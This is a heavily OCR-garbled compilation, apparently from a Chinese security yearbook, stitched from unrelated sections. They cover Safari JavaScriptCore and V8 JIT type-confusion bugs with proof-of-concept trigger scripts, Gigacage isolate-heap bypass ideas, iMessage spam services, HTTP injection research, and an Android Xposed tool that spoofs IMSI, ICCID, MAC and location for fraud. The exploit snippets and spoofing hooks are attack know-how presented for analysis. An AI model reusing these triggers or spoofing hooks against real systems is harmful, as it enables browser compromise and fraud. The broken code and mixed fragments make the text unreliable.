addressand useii toimake take m_wrapper

A JEHEAIRHMEE typedarray BY buffer B{RiEf N5 : Weaklmpl 1 Float64Array,
Hrh Weakimpl 9 m_jsValue {E001ERI Float64Array ik,

EEZRBTRY safari IRASEIRTTEMEESHE, FTLATK(IA typed array buffer (5, FiE=FE
#HEER. S +8 BINIETSE spray BRI typedarray BY buffer &b, XHFA AT LUEITE
collection[ ‘id" JBREXZEU{HIERY Float64Array, FAIIXITELHI TN TEIE:

1.5 fakedFloat64Array, SAfGIE[E spray A typedarray, REWKIENAIZEEAS, EE
FATLAEIEIX A typedarray SREESHA I{0IERT Float64Array BY pVectors B, MENESbE

=E5;

377



e 24222018 -5 2 1Y

2 /&M pVectors (&, {#EIE[M] spray B array butterfly, /AFFE fakedFloat64Array, F8
BRI EHEIRIEXNAY array butterfly, FIESRHEEREINISIHEIE. FIEFAIFER 7 X 1%iRH
EAYFIA.

ETRENIEZEHIVR JavaScript 512209 JIT 4RiF88, LU, X 8B HILEYRIEATSR
Ftom, MEAUFRESRELERE. SUERRRIR B 1ENER AU IR F
mp2o ERANSEMNIKEERR EEETHEINGEES )IT S S—2H), KRR L.

BERRNINEE Safari 89 )T fmiFEss MAEENT:

JS Core Engine

* lexer

* parser

e start-up interpreter (LLInt)
* baseline JIT

low-latency optimizing JIT (DFG)
high-throughput optimizing JIT (FTL)

https://trac. webkit. org/wiki/ JavaScriptCore
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DFG

Parser + Bytecode Generator + Cache

<+ <+ <L

OSR
OSR

Low Level Baseline Optimizing

Interpreter »nT :]] nT

“Instant on” Fast compile Throughput

Optimizing JavaScript
AT LBRIRZESRE— T2 AN EXAURR, M@ OSR #H, fmiErI ST 8E
EARRERRI A mies iR 1X 2 Safari /1 JIT fU—FHLE], AT LSRR Z 2T =,
TEEEE DFG HHEHERS:

DFG

CSE Phase
Hoisting Phase

Constant Folding Phase

Fixup Phase

. anw
Baseline JIT Code *

* Faster JIT Code

RN EA I 7 —2 JSC RIHEES: 514N structure, jsc B9 OSR #1#!,E 98 OSR #
HIEFE FRLAA & T JIT HEY—LE type confusion,O0B R/W BY[ajR.
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The structure of jsc

®* We all know that JavaScript is a dvnamicllv language. So if we
want to JIT the JS script function, we must check the type of
object in JIT code otherwise tvpe confusion will happen.

The tvpe of an object in jsc is called “structure” , which

is called “type” in ChakraCore and “map” in V8.

In some situations, the structure check in JIT code will be
eliminated to improve efficiency, thus some OSR (bailout to
lower compiler/Interpreter) measures must be introduced to
prevent type confusion.

JSC 7R9 OSR HlHEIRL R SRR B SEMNIE AL,

This OSR(to lower compile) mechanism is the same as Chrome
but different with Edge.

It is safer and more conservative than Edge because the JIT
code will change at runtime when structure transition

different structures in one CFG block)

® We all know Edge has ACG mitigation so the JIT Code will not
change in the runtime. Because of this it introduces many JIT
security issues :) But we have no time to discuss that today.

fEHfT5S JSC AR OSR #\HS MRIE OSR HHIAYSE =, Rl )2 tHAT—E4E mp2o LAY

IA:
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A type confusion bug

nii]
{
nii]

(var 1 ~H
f456();

fag=1; .

print{m[i]}:

MFFERFREFREEREIRAIRARE

The fix 1s strange

® In my opinion, the opcode |GetPropertvEnumerator| can call a
JS callback function, which means it has write side effect.

®* T think Apple developers were not aware of the potential call
back in |GetPropertvEnumerator|. They just want to fix the

HAEEELUS A TIEE/NSE 5% B R IRA T EFERNRR AL R ES
T1RZ/Y Safari ®iE, Z FRLASRIXN BRI S ERE— N FrLUSE T — MRS R,
AT BEF 0B AIERAY bug:
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flag 9;
var z Proxy({},{
getPrototypeOf: function(){
(flag 2){
Array.prototype.slice.call([]);
n[1] {};
Array.prototype.slice.call([]);

(flag A
[1.slice();
flag 2
i)
{"a":1,"b":2};

var p {"a":1}
P.__proto_ z;
var n [

var temp

temp. length

function T45
nl@] 0

(var d p){

temp (2] nfo]l;
temp[1] = n[1];
temp [2] nl2];

}
flag 13
re f456();

print(temp(1]);

ﬁég ( www.anquanke.com
BETRNB—T safari RRUERRE] - [REHE:
EEFUREP, KTRPHIKEFE, BEARIRRREEFET. A TRIER
HATEXIX MBI T V6. X DEBETSIRS I NS BANER SIS E?

[solate Heap — Introduction

Exploit mitigation in Safari

Some special kinds of objects will be allocated separately

P e R e S o M it~ A T = = 4

R R

W EFMA, FESSH—L UAF TiEFIAH, FESMINSFEOKRIEN, XEFHIIER
T {a){EH Floatb4Array IEE5 2580,
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Isolate Heap

ly 32GE because inside baC, indexed accesse= for array=s, typed arrays, etc,
32- b t ints as indices. he items those indices access are 8 bytes or less

means f an access on a caged type happens to go out of
anteed to land somewhere else in the cage or inside the runway.
; those COCEB accesses Pcm;d reach outside of the cage.

(3211u * 1024 * 1024 * 1024)

allgjes(GIGACAGE qASE PTRS _5IZE) char g glgacageBasePrrs[GIGACAGE BASE PTRS_SIZE]:

Where is this g_gigacageBasePtrs used?

RIBRERRREFPERRARIERE 7, BRE T — 1 XIE, BREZRE[RERVEERSM, W
array/typed array, HBAXA g gigacageBasePtrs X 2B EEFERIE?

Isolate Heap

JavaScriptCore’ J5C::J5GenericTypedArrayView<J3C: :Float64Adaptor>::setIndex:
0x1056e73d6 <+150>: movabs rax, OxRTLLLLIfIT

0x1056e7417 <+215>: mov rdx, aqword ptr [rbx + 0x10]

0x1056e74lb <+219>: leaz rsi, [rip + Ox99lbde] ; g gigacageBasePtrs
0x1056e7422 <+226>: mov, r3i, qword ptr [rsi]
0x1056e7425 <+229>: and rax, rdx
0x1056e7428 «<+232>: add rax, rai
0x1056e742k <+235>: test rai, rai,
O0x1056e742e <+238>: cmove rax, rdx
-> 0xl056e7432 <+2423>: mcvsd qwcrd ptr, [rax + 8*rcx], xmml ffwrite to a 'safe place’

MR Float64Array HY setindex B, BFAIESANGUEN, ESM—EEL, EEM
ROEHBIETEERIZAHY g_gigacageBasePtrs, i3/ LA BERAIMETIHE, BEIEREXIFNR
ZBrME, REBANMUBEHEEXNRENUE.

BRSEIENTHR T . BRASIRI A ZNZABAEAFIRE?
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[solate Heap

How to bypass?

- Find bugs in isolate heap implementation
May works, but no easy

- Find object which has not been isolated in javascript
When a new security mitigation was released for the first time,

it always  forgot’ something

— Jump out of the isolated module (javascript), use DOM to AAR/W

ALUMIVAASTEER, Bilthd BIRETRIRASEE TR, EXSNEULE,
niklasb B AFF T —Resid 5=

[solate Heap

— Find object which has not been isolated in javascript
When a new security mitigation was released for the first time,
it always  forgot’ something

Released just before the MOSEC

ftbRYBERE T _EEYIERISE N, BRI LASRREAIFI B3

https://github.com/phoenhex/files/blob/master/exploits/ios-11.3.1/pwn_i8.js

BRBATIENEB T HESE mp2o EfEAKY chrome bug,iX/NRBIRETE chrome RIER AR E
HK T N ECERIEFHHIN RELEER ST google:
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The original case

® Looks like this issue was fixed by Google itself
:https://chromium. googlesource. com/v8/v8/+/82503e9ba30f38d

428431f69a82f885569ac4913

if (mbase. HasValue(J && mbase.Value()->IsISTypedArray(}) {

Handle<]STypedArray> const array =
Handle<JSTypedArray>: icast{mbase.Value());

- if (larray->GetBuffer()->was_neutered(}) {

¥ if (larray—>GetBuffer()—>was _neutered() &&

+ larray->GetBuffer()->is_wasm_buffer()) {
array->GetBuffer()->set_is_neuterable(false);
BufferAccess const access{array->type());
size_t const Kk =

function module(stdlib, fore
"'use asm";
var fl
function T1(x

var global

var env
memory

var buffer

evil_f

zz = {);

zz.toString

vign,buffer){

stdlib.Uint32Array(buffer);
)

{Uint32Array:Uint32Array};

WebAssembly.Memory({initial: 200
memory.buffer;

module(global,env,buffer);

function(){

Array.prototype.slice.call((]);
OXFITffffef;

evil_f(zz);

memory.grow(1);

evil _f(zz);

The

“asmMemorvalect Gro“

the JIT code of fl[O] =

SRR FNBE— TR

SREORISA.
ELARAIST -

should update the

demo, i 2&#hR i0S 12 LmEi@

385

wasm context

\

https://v.youku.com/v_show/id XMzY30TcwMTA4MA=

1 Safari NItS2

=.html

in the wasm mode.
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[EF=IZA]

2 (ZERBRNETR, BEIIREHAEESENE~TBE

E&: Magiccc@iie
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BRRTHER. RELEREE, BEXHE iMessage 5, UFEBIRAZNE. A,

BE, XEIIEEERE, iﬂﬂé—&ﬁj{ﬂ’]@f‘ﬂﬁ ......

xF
Ik
ot
I} »ﬂ

HRIReiEs "BEE" B
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iMessage f{&, EBEES

XSS MNEPESRNE, Magiccc &R

"B R=2,

—BE,

—E=E, =QQ

B, RHUKET iMessage fXRHL. iMessage KERHSLHAE L, (BER—RAMBEKXE

=YY
HpLAER K.

BallEiE  Messagefts

RAEERE, PR, Mikse (BRRAE) .

L S—— ] = [
am
] o ne ¥ e
sigEma RENR R AN T " L (2]

. AR 5

RE  WE BB ME WK OBEE W el XE E3.

S RS IR EX S R9264,( BRIA

FERMIGT imessageftZ imessagelfiHE FEREIGFHAL HH..
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TR T B BRI B R R BRI T R
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ERBREREEASE

EHENKEPRERH

RAEBFTLAHTTRR

¥2.00
2 T

¥100.00=3
el LN
us

O

o

Vesss

FERHEE
iMessageftA Rk
VlSUA
: ¥1.00023 ¥100.00813 ¥200.00223
ge VE AR 88 2FE IR Mersage appilel nessage F RELWR/C

- RN
-
¥0.10m ¥3000.00 83 ¥3000.00 3
nERn VRE DR R R roe 18 L3 DAREE R ARt
s " yehf
EEABS UM R = WEMTH &e = EHERS

391

N BEHRE wssage

ERRAR

ITARTF
iMessage



Le%=-2018 FZF-55 2 8§

gE b

e

message

| e =8 BRE: messaga

© imessageTERIER...

L1 1588/5000

IT/ERA  message=Ra®,  me
messageTRE TREMTH NARETS
B MBEARTREIETEESRRINS  BrR

daEnm IuemsRanny ool

¢ IMessage = TERfE(ES

g 1t 1984/2000
™" BEFR TESE Mesge
TR 00 TN Mescage I BEAT

AR B 100%SE TRECHES

B2 T
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1t 101472000
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RETROER
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ERiE(EIMessageftR
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monstor
~ clients N\
(a) Depiction of momtored traffic in the server-centrse (b) Depiction of momato affic i the clie atne ap
approach (of past works). One server with specific proach ( u curcent \~|Ll \1 Vers wi Ux ‘.mled con.
content serves many clieats 1 many edge networks. teat serve many clients i a few efl e nerworks.

Figure 1: Server-centric approach versus client-centric approach to monitoring traffic. The lines between clients and
servers illustrate the monitored traffic

forged packet valid packet
client middle-box sarver

(a) In-band alteration of packet by a middle-box. Only a
single packet arrives at the client.

valid packet

client sarver

e

—

forged packet

injector

(b) Out-of-band injection of a forged packet. Two packets
arrive at the client.

Figure 2: In-band versus out-of-band alteration of con-
tent

XEEEXMBRS IR ER T RMIEANRAK, E—IA "Out of Band TCP
Injection” , B—IARS "HTTPInjection” , B) TCP HAMURIENFI HTTP JEN,
BRILZ SN, HRAREWET AERTIEHE, FRI TINEEIEERGBIFRSE.
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PRRWN S BT LAR X LI N i 1T 531
EENE T KENEERVEEEE, MXESHIRNXME

BMEXMSEERRERETE, ERLURAENAFEEAETESZIIRE. BB, MRE
BELERERE AR, BBARIMEERMEEREEER EEARIRSS R
(FROBEEIRISHEURERIEN SHETTRMG.

Group name | Destination site(s) Site type Location Injected resource Purpose
A JavaScrpt that
szzhengan wa.kuwo.cn Ad network China appends content to the Malware
original site
A JavaScript that .
. . P Advertise-
taobao 1s.alicdn.com Ad network China generates a pop-up
ment
frame
Travel search 5 A 302 (Moved) HTTP content
netsweeper skyscnr.com > India ¥ ;
engine response filtering
Social % A redirection using Advertise-
uyan uyan.cc China ; ;
network meta-refresh’ tag ment
. . Online - A redirection using Advertise-
icourses icourses.cn China ; ;
courses portal meta-refresh’ tag ment
. A JavaScript that 3
. Web users . . . pHt ) Advertise-
uvclick cnzz.com R Malaysia identifies the client’s
statistics - 2 ment
device
; A 302 redirection to a :
adcpe cnzz.com Webners Malaysia JavaScript that opens a Didvertise:
AwR : statistics Ay CHpthak opels ment
new window
o thic . this.com Social China A redirection using Advertise-
e L network P meta-refresh’ tag ment
Same as legitimate
server erased changsha.cn Travel China meaponscbuk heaine ok S
e ’ HTTP header *Server’ is filtering
changed
A JavaScript that
GPWA gpwa.org Gambling United States | redirects to a resource at Malware
qpwa.org
s A JavaScript the directs
2 www.feiniu.com 4
tupian : e-commerce China to a resource at Malware
www.jl.com :
Wwww.tup1an6688.com
~ B = ; A 302 redirection to a
mi-img mi-img.com Unknown China ; Malware
b different IP
A JavaScript that
duba unknown Unknown China prompts the user to Malware
download an executable
Adware- . A 302 (Moved) HTTP Advertise-
hao 02995.com China ( )
related response ment

Table 2: Injection groups and their characteristics
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Sus
Injection group Web server's 11181::;)1?12118
g 2 AS number : =
number
xunlei 17816 17816
szzhengan 4134 4134
taobao 4837 4837
uvclick 38182 38182
adcpe 38182 38182
server erased 4134 4134
GPWA 6943 6943
tupian 4812 4812

Table 3: The autonomous system numbers in which the
injected web servers reside and in which the suspected
injecting entities reside
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it https://www.nzt.im/xiazai/
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3.3.2 NBigs

BB S AR FEEnu :

1. €K app: XN=E. REESHMSE,;

2. H3zE app: MiE. SHLKRSE,

3. &EiFRapp: BTA. EB. BEIESE,;

4. FhiEE app: BEHERE. MBHEE,
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1. (EKSTBURAFLE;

2. REUEEFTFFEFILE,;
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3.3.3.2 (EpithiR(uE
1) REEM

f£75;% public void setLocationToHere(View view) M EENL :

public void setlLocationToHere(View view) {
final LatlLng latLng = this.mMapView.getMap().getCameraPosition().target;
DialogUtils.showTipDialog(this, "®EE", String.format("#Ri\EFLE: [%.6F,%.6F]", new Object[]{Double.valueof(latLng.lat
public void onClick(View wview) {

LocationActivity.this.getlocationData(latlng.latitude, latlng.longitude);
1

}
1, null);

1

J

2) RBUEENE
f£755% public void getLocationData(double old lat, double old Ing)3xEX{ BEUE :
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public veoid getlocationData(double old_lat, double old lng {

if (sharedConfig. cpan[[cn tant.OPERATOR_CONFIG_FILE).getInt("mnc”, -1) < {
new Builder(this).title((CharSequence) "{&E") ccnfen*[[CharSequence 'lxﬁﬁfﬁ%?{ffﬁigﬁﬁﬁ%ﬁﬂgiﬁ%ﬁﬁ, HHERFIRE") . positiveT
public void onClick(@Ncniull MaterialDialog dialog, @Monnull DialogAction which) {
LocationActivity.this.startActivity(new Intent(LocationActivity.this, SettingsActivity.class));

dialog.dismiss();
1
b
}::‘nagativeTextf['CharSEquEnce) "HI:H") .onNegative(new SingleButtonCallback() {

public void onClick(f@MonNull MaterialDialog dialog, @Noniull DialogAction which) {
dialog.dismiss()
LocationActivity .thls finish()

1) .show();

1

I

sharedConfig config = SharedConfig.open{Constant.SHARED_CONFIG_PATH);

LocationConverter.Latlng point = LocationConverter.gcj@2ToBded(new LocationConverter.Latlng(old_lat, old_lng));

double lng = point.longitude;

double lat = point.latitude;

this.mMapView.getMap().moveCamera(CameralUpdateFactory.changelatlng(new LatlLng(old lat, old lng)));

MsterialDialog progress = new Builder(this).title((CharSequence) "FRHIESHWIFIZIESR"). content((CharSequence) "EIHE").progress(true,

AsyncUtils.get().when(new LocationActivity$$lambda$é(this, Ing, lat, old_lng, old_lat, config)).done(new LocationActivity$$lambda$l(th
}

3) BiRRE:

a) @Y LocationConverter.gcj02ToBd09 SKENZRSFE (ENBAREEEALTR) |

b) BFI RS EERYEO this.mMapView.getMap().moveCamera i E5XRINIZR SR ;

c) B#H getWifiData(double Ing, double lat){RIEEHEFREX WiFi #U4E;

d) @it URL 153k WifiRequestUtils.getUrl(System.currentTimeMillis(),
WifiApiUtils.caculateCheckString(body.get("body").toString())) S kEX AR B 2B A R
WiFi:

nd5=1250350455515=46007001212563 1 spkg=com. baidu.wi ifike eysvendor=samsungsmodel=VPhones" + checkStr +
900FE3D2800DI0ACOID4FFTITC253-401259317518568

e) B{EH getCeIILocatlon(doubIe Ing, double lat)iEEHFIREMVENEINZESBHE
B, HREMEA
getApplicationContext().getSystemService("phone")).getSubscriberld().substring(0, 5)
SREX IMSI, 1R¥E IMSI FIRrEuSizER, Langwes 46007, 46002 AFERE), 46001 J9e
B

f) 405 getWifiData 1 getCellLocation #EREUER, ETHRIEMMEA M.

3.3.3.3 (HEFINS

1) (iEEsE. BaIFIS

£757% public void setOperatorinfo(){HiaFH S :
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public void setUperatorintol) {

new Builder(this).title((CharSequence) "&FHi A FHS").content((Charsequence) "EHIAFH S\ n{UEIFBNMNEBRER") . inputType(3) . input((C

public void onInput{MaterialDialog dialog, CharSequence input) {

1

}
final /% synthetic */ void lambda$onInput$@$SettingsActivity$3(CharSequence input) {
int mnc = SettingsActivity.this.queryOperatortnc(input.toString());
HashMap<String, Object> params = new HashMap[ ;
params.put("mnc”, Integer.valueOf(mnc)
SharedConfig phoneConfig = SharedCenfig.open(Constant.OPERATOR CONFIG_FILE);
phoneConfig.put(“"mnc"”, Integer.valueOf(mnc));
phoneConfig.put(“phone”, input.toString(
String str = "operator_name";
Object obj = (mnc @ || mnc == 2) ? "WEHBHA" : mnc == 1 ? "HERA" : FEHF
phoneConfig. put(str, obj
try {
phoneConfig.put("imsi"”, ParseCloud.callFunction("getImsi", params));
phoneConfig.put("iccid”, ParseCloud.callFunction("getIccid”, params));
} catch (ParseException e} {
ThrowableExtension.printStackTrace(e);

}.
phoneConfig. commit();

}.

final /* synthetic */ void lambda$onInput$l§SettingsActivity$3(Void error) {
SharedConfig operatorConfig = SharedConfig.cpen(Constant.OPERATOR_CONFIG_FILE);
String operatorName = operatorConfig.getString("operator_name”, "FH");
String phonelumber = operatorConfig.getString(“phone”, “18288388388"
if (operatorame.equals("#H") && phoneNumber.equals("15283838888")) {

SettingsActivity.this.operatorInfo.setText("FHE");

} else {

SettingsActivity.this.cperatorInfo.setText("(" + operatorName + ") " + phoneNumber);

1
i

2) BiNFE

a) BT SettingsActivity.this.queryOperatorMnc $8BX MNC;
b) 1RiE MCCHEILZERER, BEEA SD RIEERTEAR

igrimace-operator.conf BB E{4;

) SHFHATSR:

m13Q®, m131m, "132%, "1457, W14gw, "ISSM, WISEW W1gET, "1TSM, "1TE"
n1340m, ®1341m, m13427, W13437, w1344m, MI345M, mI13467, m1347M, 13487, MI3EM, WI3EM, m13TW,
m13g®, m13gm, "14407, "1477, w148, "1SQM, W1S1T, M1S27, W1STW, "1S8T, wl5ge, wl7gn, mlgow,
nigzm, miggm, wlgTw,_ wigsm_ wiggw, ®17037, m1T05M, "1T0EM

3.3.3.4 (EMREER

1) BNEIERER. WiFiER. &R=s. SIRIEE. NS REREEIL
REhRA

nlgsm®, mlggw, w1704", "1707",

®1708", w1709",

f£737% handleLoadPackage(LoadPackageParam Ipparam) A5ehk.

EENBCE S8 :

try {
hookCenfig = SharedConfig.open(Constant.HOOK_CONFIG_FILE);
appConfig = SharedConfig.open(Constant.SHARED_CONFIG_PATH);
operatorConfig = SharedConfig.open(Constant.OPERATOR_CONFIG_FILE);
try {
Double min_freq = (Double) hookConfig.getMap(“cpu”).get("min_freq”);

FileUtils.writeFile("/data/data/" + lpparam.packageName + “/cpu_max_freq”, ((Double) hookConfig.getMap(“cpu”)

FileUtils.writeFile("/data/data/" + lpparam.packageName + “/cpu_min_freq”, min_freq.intvalue() + "

FileUtils.writeFile("/data/data/" + lpparam.packageName +
FileReplacer.addRedirect("/sys/class/net/eth@/address”, "/data/data/" + lpparam.packageName + "
FileReplacer.addRedirect("/sys/class/net/wlan@/address", "/data/data/" + lpparam.packageName +
FileReplacer.addRedirect("/sys/class/net/wifi/address”, "/data/data/" + lpparam.packageName + */ui

) catch (Exception e) {
)

FIH Xposed EN:

434

-get("max_freq
, false);

FileReplacer.addRedirect("/sys/devices/system/cpu/cpud/cpufreq/cpuinfo_max_freq”, "/data/data/" + lpparam.packagelame + "/cpu_max_fre
FileReplacer.addRedirect("/sys/devices/system/cpu/cpud/cpufreq/cpuinfo_min_freq”, "/data/data/" + lpparam.packagelame + "/cpu_min_fre
FileReplacer.addRedirect("/sys/devices/system/cpu/cpud/cpufreq/cpuinfo_cur_freq”, "/data/data/" + lpparam.packagelame + "/cpu_max_fre

/wifi_mac_address”, hookConfig.getString("mac”, "©2:80:00:00:00:00")

AsyncUtils.get().when(new SettingsActivity$33$Lambdae(this, input)).deone(new SettingsActivity$3$$lambda3l(this));

migm

).intvalue() + ™"

false);

ct



Le%=-2018 FZF-55 2 8§

LUEUFALES g S PP i
if (appConfig.getlist("hooked spps”).conteins{lpparan. packageliane)) |
try {
detalipps = (List) new Gson{ ). fromTson{Fileltils. readFile|Constant DATA APPS FILE, "o
F-getTypel])s
iF (dotafpps == aull) |
Log.d([TAG; “handlelondPacknge: rend datafpps refurn null™):

-B*).toString(), new TypeToken<list<Map<String, Objectsss() |

r
i

6, “handleLoadPackage: =, e2);

catch (Excepticn e2]
Log.df

MAudicManager () -inject();
MBulld(j.Injecti);
MConnectivityranager().inject();
mContentResolver (). Enject();
MContextWrappery).infect(};
MFile( ) inject();
MLibCoref ). inject();
MLacation(].injeck();
MPackageManagerd ). inject();
MSensortianageri ). injeck () s
MSettings[).injeck();
MStatFs().injeck();
MEystemClock( ). inject(};
MsystesProperties().inject()s
ﬂTelephcny'lanagErr -inject();
[Jednject(ds

new MelfiManager( ). dnfect();
wposedbridgs. hock.AJ_'methods\.bpplication class, "onCreate”™, new XC_MethodHook() 4
BSuppressiint skon"})
protected vold aftermokednethodrnemodmnlmaram param} throws Throwsble |

FF4 hook:

U 8 ULRUBLIMIUSLE | sl ey g
new MSensorManager().inject();
new Msettings().inject();
new MStatfs().inject();
new MSystemClock().inject();
new MSystemProperties().inject();
new MTelephonyManager().inject();
new MiifiInfo().inject();
new MdifiManager().inject();
XposedBridge.hookAl1Methods (Application.class, "onCreate”, new XC_MethodHook() {
@SuppressLint({"MissingPermission™})
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
super. aftertookedMethod (param) ;
new MBuild().inject();
long startTime - System.currentTimeMillis();
Log.d(Main.TAG, "afterHookedMethod: get apps test start " + startTime);
List<PackageInfo> packageInfos = AndroidAppHelper.currentApplication().getPackageManager().getInstalledPackages(@);
Log.d(Main.TAG, “afterHookedMethod: get apps test finish " + (System.currentTimeMillis() - startTime));
Log.d(Main.TAG, "afterHookedMethod: " + packageInfos.size());
TelephonyManager tm - (TelephonyManager) AndroidAppHelper.currentApplication().getSystemService( phane”);
Log.d(Main.TAG, "afterHookedMethod: imsi : " + tm.getSubscriberId());
Log.d(Main.TAG, "afterHookedMethod: iccid : " + tm.getSimSerialNumber());
int dataBlockCount = new StatFs(Environment.getDataDirectory().getPath()).getBlockCount();
Log.d(Main.TAG, "afterHookedMethod: data:” + dataBlockCount + " sdcard:” + new StatFs(Environment.getExternalStorageDirectory().getPath()).getBlock

555535335%5535?5”

}
H

Log.d(TAG, "handleLoadPackage: inject class finish");

2) BERREE:
a) EE SD ~IRER FHIEESY,
b) igrimace.conf {(RFEE# hook BY app;

¢ igrimace.conf

‘hooked_apps™: [ '—‘_____’ piud==!

com.tencent.mobileqq

]

‘com.tencent.mobileqq™: {-’/-' EoEHEENMAUE
"use_self_location": true

"moke_telephony": true, ESREMEEEE
"moke_release_version": true E%ﬁiﬁﬁ$

"android_version_value": "111", _—Eﬁgcﬁﬁﬁﬂﬁzﬁﬁ
"moke_package": false, EETER

"moke_settings_propemes :true,

"moke_media": true, EEEHISEENE
"moke_sensor': tru > ETIELIEEE

::moke_wif|":.tr[_}|94 .\* %@%ﬂﬁﬁﬁg
moke_sdk_int": true, i AT
"sdk_int_value": EEERwilifsE

} EEEsdk inthRs
igmEsdk_int{&
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¢) igrimace-operator.conf {£fF ICCID. 1Z5/. FHS. MNC, IMSI:

< igrimace-operator.conf

{ IC 'y ul=l] ‘:IE
“iccid": "89860180932237447628", —D TR
"operator_name". "PEEKIA’, =—

"phone"”: "13145789870",

MNC’: 1, — e s ! FH=
"imsi”: "460016542526158_ e

ElrEa1RFHAE

d) TRIEHGEENRYBCE S, BFIA Xposed i AF hook, [A] 7 app EIEXIHNE

Gl
o

4 25

"EEEER, TENR" |, ALMRESMEIAERAM AR, YT LR
RESSEHT, FBIREBRERRMIGE SR, S TRRED FEEOXIHLFIFR—, BEEE
ERENTH (BY—a PCIHIZawalirsg) MER, IXI miEmBat. HEXRIK
EEA. T AmS, ENERIREEARIRAER, REMER R & eI
RIFNFFERIRER, IR EBNBANRE N IR 2MHIEE], A BRI RE R EEEZHE
"
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REBMEA TR

BAMEARER WIS ZERmMBERRSE. RYIIXGELRHERAT 2017 &
HHEIZORR, EFTAEEMISZSMAATER. B, BHESR. B’E. 020 &5E
ZHEKMAES ™, BRHTETRAIRMMEREIERS THRIERNATEFHTERER
BRI, 1ESEARANERA]. BUEANGE, FEIER TEEZES SRR =IETE
hzegeH. BRIRIMEARHRSRU S Z2BIR™m, ENERARS—LAZ BNV
HLZ2RIFIRS, BNt NIEB THRERGE, BEEEKMN NGB EEERL
BREINRIENEE,

BB AEM: https://www.threathunter.cn

LI A E N ERKERNEFZRERIPEA RS 48, ESZERK TS, IKBX

AT .
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